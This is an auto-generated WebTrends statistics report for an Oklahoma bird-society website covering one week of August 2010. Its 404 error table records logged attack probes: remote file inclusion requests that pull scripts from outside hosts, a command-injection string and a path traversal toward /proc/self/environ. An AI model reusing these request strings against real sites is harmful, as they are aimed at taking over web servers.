| General Statistics |
The User Profile by Regions graph identifies the general location of the visitors to your Web site. The General Statistics table includes statistics on the total activity for this server during the designated time frame.
|
| |
| Date & Time This Report was Generated | Monday August 23, 2010 - 04:31:16 |
| Timeframe | 08/16/10 00:00:00 - 08/22/10 23:58:41 |
| Number of Requests for Home Page | 340 |
| Total Server Load | 15803 |
| Total Page Views ("Hits") | 1162 |
| Number of User Sessions | 1501 |
| User Sessions from United States | 65.62% |
| International User Sessions | 15.78% |
| User Sessions of Unknown Origin | 18.58% |
| Average Server Load per Day | 2257 |
| Average Page Views Per Day | 166 |
| Average User Sessions per Day | 214 |
| Average User Session Length | 00:06:15 |
| Most Requested Pages |
This section identifies the most popular Web Site pages and how often they were accessed. The average time a user spends viewing a page is also indicated in the table.
![]() |
|
| |||||
| 1 | Oklahoma Avicultural Society - Home http://www.okbirds.com/ | 340 | 29.25% | 274 | 00:00:19 |
| 2 | Oklahoma Avicultural Society - Interact Online http://www.okbirds.com/interact.html | 115 | 9.89% | 113 | 00:00:10 |
| 3 | Oklahoma Avicultural Society - Bird Fairs at Tulsa Convention Center http://www.okbirds.com/birdfairs.html | 85 | 7.31% | 80 | 00:01:44 |
| 4 | Oklahoma Avicultural Society - Tell A Friend http://www.okbirds.com/tellafriend.html | 83 | 7.14% | 83 | 00:00:16 |
| 5 | Oklahoma Avicultural Society - Events! http://www.okbirds.com/events.html | 44 | 3.78% | 42 | 00:00:10 |
| 6 | Oklahoma Avicultural Society - About Us! http://www.okbirds.com/about.html | 42 | 3.61% | 42 | 00:00:35 |
| 7 | Oklahoma Avicultural Society - Free Info http://www.okbirds.com/info.html | 39 | 3.35% | 38 | 00:00:24 |
| 8 | Oklahoma Avicultural Society - Members http://www.okbirds.com/justus.html | 37 | 3.18% | 35 | 00:00:17 |
| 9 | Oklahoma Avicultural Society - Buy Stuff http://www.okbirds.com/buy.html | 33 | 2.83% | 32 | 00:00:08 |
| 10 | Oklahoma Avicultural Society - Join Us! http://www.okbirds.com/join.html | 31 | 2.66% | 30 | 00:02:04 |
| 11 | Oklahoma Avicultural Society - Meetings http://www.okbirds.com/meetings.html | 23 | 1.97% | 23 | 00:00:05 |
| 12 | Oklahoma Avicultural Society - Search http://www.okbirds.com/search.html | 23 | 1.97% | 23 | 00:00:09 |
| 13 | Oklahoma Avicultural Society - Indian Summer Bird Fair http://www.okbirds.com/fair.html | 21 | 1.8% | 21 | 00:01:15 |
| 14 | Oklahoma Avicultural Society - Our Birds http://www.okbirds.com/ourbirds.html | 18 | 1.54% | 17 | 00:01:03 |
| 15 | Oklahoma Avicultural Society - Newsletter http://www.okbirds.com/newsletter.html | 17 | 1.46% | 17 | 00:01:26 |
| 16 | Oklahoma Avicultural Society - Links http://www.okbirds.com/links.html | 16 | 1.37% | 16 | 00:00:43 |
| 17 | Oklahoma Avicultural Society - Newsletter http://www.okbirds.com/coffee.html | 16 | 1.37% | 13 | 00:04:41 |
| 18 | Oklahoma Avicultural Society - Forum Rules http://www.okbirds.com/rules.html | 15 | 1.29% | 15 | 00:01:56 |
| 19 | Oklahoma Avicultural Society - Articles http://www.okbirds.com/articles.html | 14 | 1.2% | 14 | 00:02:05 |
| 20 | Oklahoma Avicultural Society - Site Index http://www.okbirds.com/siteindex.html | 14 | 1.2% | 13 | 00:00:35 |
| 21 | Oklahoma Avicultural Society - Recipes http://www.okbirds.com/recipes.html | 13 | 1.11% | 13 | 00:01:48 |
| 22 | Oklahoma Avicultural Society - About Us! http://www.okbirds.com/bod.html | 12 | 1.03% | 12 | 00:01:30 |
| 23 | Oklahoma Avicultural Society - Newsletter http://www.okbirds.com/objectives.html | 12 | 1.03% | 12 | 00:01:53 |
| 24 | Oklahoma Avicultural Society - Buy Stuff http://www.okbirds.com/recommended.html | 12 | 1.03% | 12 | 00:00:24 |
| 25 | Oklahoma Avicultural Society - Wing Tips http://www.okbirds.com/wingtips.html | 11 | 0.94% | 11 | 00:00:59 |
| Sub Total For the Page Views Above | 1086 | 93.45% | N/A | N/A | |
| Total For the Log File | 1162 | 100% | N/A | N/A | |
| Top Entry Pages |
This section identifies the first page viewed when a user visits this site. This is most likely your home page but, in some cases, it may also be specific URLs that users enter to access a particular page directly. The percentages refer to the total number of user sessions that started with a valid Document Type. If the session started on a document with a different type (such as a graphic or sound file), the file is not counted as an Entry Page, and the session is not counted in the total.
![]() |
| Top Exit Pages |
This section identifies the most common pages users were on when they left your site. The percentages refer to the total number of user sessions that started with a valid Document Type. If the session started on a document with a different type (such as a graphic or sound file), the file is not counted as an Entry Page, and the session is not counted in the total.
![]() |
| Top Paths Through Site |
This section identifies the paths people most often follow when visiting your Web site. The path begins at the page of entry and shows the next six consecutive pages viewed.
|
| |||
| 1 | 1. http://www.okbirds.com/cgi-mod/forums/topic_show.pl | 11.26% | 144 |
| 2 | 1. http://www.okbirds.com/ | 8.68% | 111 |
| 3 | 1. http://www.okbirds.com/cgi-mod/forums/user_info.pl | 7.43% | 95 |
| 4 | 1. http://www.okbirds.com/tellafriend.html | 5.24% | 67 |
| 5 | 1. http://www.okbirds.com/cgi-mod/forums/board_show.pl | 3.67% | 47 |
| 6 | 1. http://www.okbirds.com/cgi-mod/forums/user_register_x.pl 2. http://www.okbirds.com/cgi-mod/forums/user_login.pl 3. http://www.okbirds.com/cgi-mod/forums/user_login_x.pl | 3.59% | 46 |
| 7 | 1. http://www.okbirds.com/cgi-mod/forums/topic_show.pl 2. http://www.okbirds.com/cgi-mod/forums/user_login_x.pl 3. http://www.okbirds.com/cgi-mod/forums/topic_show.pl | 3.36% | 43 |
| 8 | 1. http://www.okbirds.com/birdfairs.html | 2.73% | 35 |
| 9 | 1. http://www.okbirds.com/cgi-mod/forums/prevnext.pl 2. http://www.okbirds.com/cgi-mod/forums/topic_show.pl | 2.58% | 33 |
| 10 | 1. http://www.okbirds.com/ 2. http://www.okbirds.com/cgi-bin/imgcycle.cgi | 2.19% | 28 |
| Total For the Paths Above | 50.78% | 649 | |
| Most Downloaded Files |
This section identifies the most popular file downloads of your Web site. If an error occurred during the transfer, that transfer is not counted.
|
| ||||
| 1 | http://www.okbirds.com/docs/aug2010.pdf | 37 | 32.74% | 9 |
| 2 | http://www.okbirds.com/docs/greencountryevent.pdf | 17 | 15.04% | 14 |
| 3 | http://www.okbirds.com/docs/memberapp.pdf | 8 | 7.07% | 7 |
| 4 | http://www.okbirds.com/docs/vendor2010contract.pdf | 8 | 7.07% | 8 |
| 5 | http://www.okbirds.com/docs/june2010.pdf | 5 | 4.42% | 2 |
| 6 | http://www.okbirds.com/docs/meeting-flyer.pdf | 5 | 4.42% | 5 |
| 7 | http://www.okbirds.com/docs/may2010.pdf | 4 | 3.53% | 2 |
| 8 | http://www.okbirds.com/docs/august2009.pdf | 3 | 2.65% | 3 |
| 9 | http://www.okbirds.com/docs/april2009.pdf | 2 | 1.76% | 2 |
| 10 | http://www.okbirds.com/docs/VendorUnloading.pdf | 2 | 1.76% | 2 |
| Total For the Files Above | 91 | 80.53% | N/A | |
| Most Submitted Forms and Scripts |
This section identifies the most popular forms or scripts executed by your server. WebTrends counts any line with a Post command or a Get command with a "?" as a form or script, and shows only successful hits.
|
| ||||
| 1 | http://www.okbirds.com/cgi-mod/forums/topic_show.pl | 818 | 32.98% | 403 |
| 2 | http://www.okbirds.com/cgi-mod/forums/prevnext.pl | 386 | 15.56% | 148 |
| 3 | http://www.okbirds.com/cgi-mod/forums/user_info.pl | 323 | 13.02% | 201 |
| 4 | http://www.okbirds.com/cgi-mod/forums/board_show.pl | 240 | 9.67% | 177 |
| 5 | http://www.okbirds.com/cgi-mod/forums/user_login_x.pl | 169 | 6.81% | 159 |
| 6 | http://www.okbirds.com/cgi-bin/imgcycle.cgi | 154 | 6.2% | 126 |
| 7 | http://www.okbirds.com/cgi-mod/forums/forum_search_x.pl | 125 | 5.04% | 50 |
| 8 | http://www.okbirds.com/cgi-mod/forums/user_register_x.pl | 107 | 4.31% | 107 |
| 9 | http://www.okbirds.com/cgi-mod/forums/user_login.pl | 93 | 3.75% | 93 |
| 10 | http://www.okbirds.com/cgi-mod/forums/board_info.pl | 19 | 0.76% | 14 |
| Most Active Organizations |
This section identifies the companies or organizations that accessed your Web site the most often.
![]() |
| Most Active Countries |
This section identifies the top locations of the users of your site by country. The country of the user is determined by the suffix of their domain name. Use this information carefully because this information is based on where the domain name of the visitor is registered, and may not always be an accurate identifier of the actual geographic location of this visitor (for example, while a vast majority of .com domain names are from the United States, there is a small minority of domain names that exist outside of the United States.)
|
| ||
| 1 | United States | 985 |
| 2 | Russian Federation | 166 |
| 3 | Latvia | 30 |
| 4 | Germany | 11 |
| 5 | Luxembourg | 7 |
| 6 | Japan | 6 |
| 7 | Moldova | 2 |
| 8 | Ukraine | 2 |
| 9 | India | 1 |
| 10 | Australia | 1 |
| 11 | Israel | 1 |
| 12 | Seychelles | 1 |
| 13 | Netherlands | 1 |
| 14 | Arab Emirates, United | 1 |
| 15 | Poland | 1 |
| 16 | Italy | 1 |
| 17 | Brazil | 1 |
| 18 | Sweden | 1 |
| 19 | France | 1 |
| 20 | Indonesia | 1 |
| 21 | Belgium | 1 |
| Total | 1222 | |
| Summary of Activity by Day |
This section outlines general server activity, comparing the level of activity on weekdays and weekends. The Average Number of Users and Hits on Weekdays are the averages for each individual week day. The Average Number of Users and Hits for Weekends groups Saturday and Sunday together. Values in the table do not include erred hits.
|
| |
| Average Number of Users per day on Weekdays | 208 |
| Average Number of Hits per day on Weekdays | 2236 |
| Average Number of Users for the entire Weekend | 459 |
| Average Number of Hits for the entire Weekend | 4623 |
| Most Active Day of the Week | Fri |
| Least Active Day of the Week | Mon |
| Most Active Day Ever | August 20, 2010 |
| Number of Hits on Most Active Day | 3074 |
| Least Active Day Ever | August 16, 2010 |
| Number of Hits on Least Active Day | 1474 |
| Activity Level by Day of Week |
This section shows the activity for each day of the week for the report period (i.e. if there are two Mondays in the report period, the value presented is the sum of all hits for both Mondays.) The Total Weekdays line indicates the number of hits occurring Monday through Friday of the report period. The Total Weekends line indicates the number of hits occurring Saturday and Sunday of the report period. Values in the table do not include erred hits.
![]() |
| Activity Level by Hour of the Day |
This section shows the most and the least active hour of the day for the report period. The second table breaks down activity for the given report period to show the average activity for each individual hour of the day (if there are several days in the report period, the value presented is the sum of all hits during that period of time for all days).
![]() |
| Technical Statistics and Analysis |
This table shows the total number of hits for the site, how many were successful, how many failed, and calculates the percentage of hits that failed. It may help you in determining the reliability of your site.
|
| |
| Total Requests | 17610 |
| Successful Requests | 15803 |
| Failed Requests | 1807 |
| Failed Requests as Percent | 10.26% |
| Cached Hits | 3934 |
| Cached Requests as Percent | 22.33% |
| Client Errors |
This section identifies the type of errors which were returned by the Client accessing your server.
|
| ||
| 404 Page or File Not Found | 1652 | 99.69% |
| 403 Forbidden Access | 3 | 0.18% |
| 410 Rejected | 2 | 0.12% |
| Total | 1657 | 100% |
| Page Not Found (404) Errors |
This section identifies "Page Not Found" (404) errors which occurred on your server.
|
| ||
| //wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://iimc-consultingclub.com/error/Ckrid1.txt?? (no referrer) | 624 | 37.77% |
| //wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=|echo "casper";echo "kae";| (no referrer) | 624 | 37.77% |
| /contact.php (no referrer) | 45 | 2.72% |
| //contact.php (no referrer) | 25 | 1.51% |
| /contact.html (no referrer) | 23 | 1.39% |
| //index.php?option=com_sef&controller=../../../../../../../../../../../../../../../proc/self/environ (no referrer) | 18 | 1.08% |
| //administrator/components/com_virtuemart/export.php?mosConfig.absolute.path=http://www.musitalentos.com/e107_files/images/tes.pdf? (no referrer) | 17 | 1.02% |
| /sendMailTo.js http://www.okbirds.com/info.html | 13 | 0.78% |
| ///administrator/components/com_virtuemart/export.php?mosConfig.absolute.path=http://constructor.ru/modules/goodid.txt? (no referrer) | 11 | 0.66% |
| //administrator/components/com_virtuemart/export.php?mosConfig.absolute.path=http://www.ulster.irishhome.net/archive/idx2.txt? (no referrer) | 8 | 0.48% |
| Total | 1408 | 85.23% |
| Server Errors |
This section identifies by type the errors which occurred on your server.
|
| ||
| 500 Internal Error | 150 | 100% |
| Total | 150 | 100% |
| North American States and Provinces |
This section breaks down Web site activity to show which of the North American States and Provinces were the most active on your site. This information is based on where the domain name of the visitor is registered, and may not always be an accurate representation of the actual geographic location of this visitor. This information can only be displayed if reverse DNS lookups have been performed.
|
| ||
| 1 | Virginia | 174 |
| 2 | Washington | 167 |
| Total For the States Above | 341 | |
| Most Active Cities |
This section further breaks down your Web site's activity to show which cities were the most active on your site. This information is based on where the domain name of the visitor is registered, and may not always be an accurate representation of the actual geographic location of this visitor. This information can only be displayed if reverse DNS lookups have been performed.
|
| ||
| 1 | Vienna, Virginia, United States | 174 |
| 2 | Redmond, Washington, United States | 167 |
| Total For the Cities Above | 341 | |
| Top Referring Sites |
This section identifies the domain names or numeric IP addresses with links to your site. This information will only be displayed if your server is logging this information.
|
| ||
| 1 | Typed-in or Bookmarked | 1048 |
| 2 | http://www.okbirds.com/ | 372 |
| 3 | http://www.google.com/ | 35 |
| 4 | http://search.yahoo.com/ | 9 |
| 5 | http://www.bing.com/ | 6 |
| 6 | http://okbirds.com/ | 5 |
| 7 | http://search.alot.com/ | 2 |
| 8 | http://us.mc317.mail.yahoo.com/ | 2 |
| 9 | http://www.tulsapetsmagazine.com/ | 1 |
| 10 | http://yandex.ru/ | 1 |
| 11 | http://www.deshanekennels.com/ | 1 |
| 12 | http://www.soplivi-forum.co.cc/ | 1 |
| 13 | http://whois.domaintools.com/ | 1 |
| 14 | http://cache.zoominfo.com/ | 1 |
| 15 | http://us.mg1.mail.yahoo.com/ | 1 |
| 16 | http://www.adultwebcamstreaming.com/ | 1 |
| 17 | http://www.gkcas.org/ | 1 |
| 18 | http://us.mg204.mail.yahoo.com/ | 1 |
| 19 | http://sn126w.snt126.mail.live.com/ | 1 |
| 20 | http://okaznet.org/ | 1 |
| 21 | http://search.aol.com/ | 1 |
| 22 | http://bl108w.blu108.mail.live.com/ | 1 |
| 23 | http://www.birdsnways.com/ | 1 |
| 24 | http://www.visittulsa.com/ | 1 |
| 25 | http://peartree-sanctuary.org/ | 1 |
| Sub Total for the Referring Sites Above | 1496 | |
| Total for the Log File | 1501 | |
| Top Referring URLs |
This section provides the full URLs of the sites with links to your site. This information will only be displayed if your server is logging the referrer information.
| Top Search Engines |
The first table identifies which search engines referred visitors to your site the most often. Note that each search may contain several keywords. The second table identifies the main keywords for each search engine.
|
| |||
| 1 | 39 | 79.59% | |
| 2 | Yahoo | 10 | 20.4% |
| Total of Searches for the Engines Above | 49 | 100% | |
| Total of Searches for the Log File | 49 | 100% | |
|
| |||
| bird | 25 | 51.02% | |
| tulsa | 17 | 34.69% | |
| oklahoma | 14 | 28.57% | |
| fair | 10 | 20.4% | |
| september | 6 | 12.24% | |
| in | 5 | 10.2% | |
| show | 5 | 10.2% | |
| ok | 4 | 8.16% | |
| tulsa, | 3 | 6.12% | |
| club | 3 | 6.12% | |
| Yahoo | oklahoma | 7 | 14.28% |
| bird | 6 | 12.24% | |
| fair | 5 | 10.2% | |
| city | 2 | 4.08% | |
| society | 2 | 4.08% | |
| avicultural | 2 | 4.08% | |
| birds | 1 | 2.04% | |
| birdfair | 1 | 2.04% | |
| breeder | 1 | 2.04% | |
| african | 1 | 2.04% | |
| Top Search Keywords |
The first table identifies keywords which led the most visitors to your site (regardless of the search engine). The second table identifies, for each keyword, which search engines led visitors to your site.
|
| |||
| 1 | bird | 31 | 18.56% |
| 2 | oklahoma | 21 | 12.57% |
| 3 | tulsa | 18 | 10.77% |
| 4 | fair | 15 | 8.98% |
| 5 | show | 6 | 3.59% |
| 6 | september | 6 | 3.59% |
| 7 | society | 5 | 2.99% |
| 8 | in | 5 | 2.99% |
| 9 | club | 4 | 2.39% |
| 10 | ok | 4 | 2.39% |
| Total Found for the Keywords Above | 115 | 68.86% | |
| Total of Keywords Found in the Log File | 167 | 100% | |
|
| |||
| bird | 25 | 14.97% | |
| Yahoo | 6 | 3.59% | |
| oklahoma | 14 | 8.38% | |
| Yahoo | 7 | 4.19% | |
| tulsa | 17 | 10.17% | |
| Yahoo | 1 | 0.59% | |
| fair | 10 | 5.98% | |
| Yahoo | 5 | 2.99% | |
| show | 5 | 2.99% | |
| Yahoo | 1 | 0.59% | |
| september | 6 | 3.59% | |
| society | 3 | 1.79% | |
| Yahoo | 2 | 1.19% | |
| in | 5 | 2.99% | |
| club | 3 | 1.79% | |
| Yahoo | 1 | 0.59% | |
| ok | 4 | 2.39% | |
| Most Used Browsers |
This section identifies the most popular WWW Browsers used by visitors to your site. This information will only be displayed if your server is logging the browser/platform information.
![]() |
| Visiting Spiders |
This section identifies all robots, spiders, crawlers and search services (i.e. Alta Vista, Lycos, and Excite) visiting your site.
|
| ||||
| 1 | Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp) | 640 | 88.03% | 235 |
| 2 | Baiduspider+(+http: | 20 | 2.75% | 20 |
| 3 | Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Speedy Spider (http://www.entireweb.com/about/searc | 19 | 2.61% | 19 |
| 4 | Mozilla/5.0 (compatible; Exabot/3.0; +http://www.exabot.com/go/robot) | 16 | 2.2% | 16 |
| 5 | Mozilla/5.0 (compatible; DotBot/1.1; http://www.dotnetdotcom.org/, crawler@dotnetdotcom.org) | 10 | 1.37% | 1 |
| 6 | Mozilla/4.0 (compatible; MSIE 5.01; Windows 95; MSIECrawler) | 6 | 0.82% | 1 |
| 7 | Huaweisymantecspider (compatible; MSIE 8.0; wangdanfeng@huaweisymantec.com) | 3 | 0.41% | 1 |
| 8 | Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html) | 2 | 0.27% | 2 |
| 9 | Gigabot | 2 | 0.27% | 2 |
| 10 | Sogou web spider | 2 | 0.27% | 2 |
| 11 | Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/spider.html;) Gecko/2008032620 | 2 | 0.27% | 2 |
| 12 | Yeti | 2 | 0.27% | 2 |
| 13 | Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; ) | 1 | 0.13% | 1 |
| 14 | ia_archiver (+http: | 1 | 0.13% | 1 |
| 15 | Sogou-Test-Spider | 1 | 0.13% | 1 |
| Total For Spiders Above | 727 | 100% | 306 | |
| Most Used Platforms |
This section identifies the operating systems most used by the visitors to your Web site.
![]() |
![[WebTrends Corporation]](wtlogoss.gif)
This report was generated by WebTrends.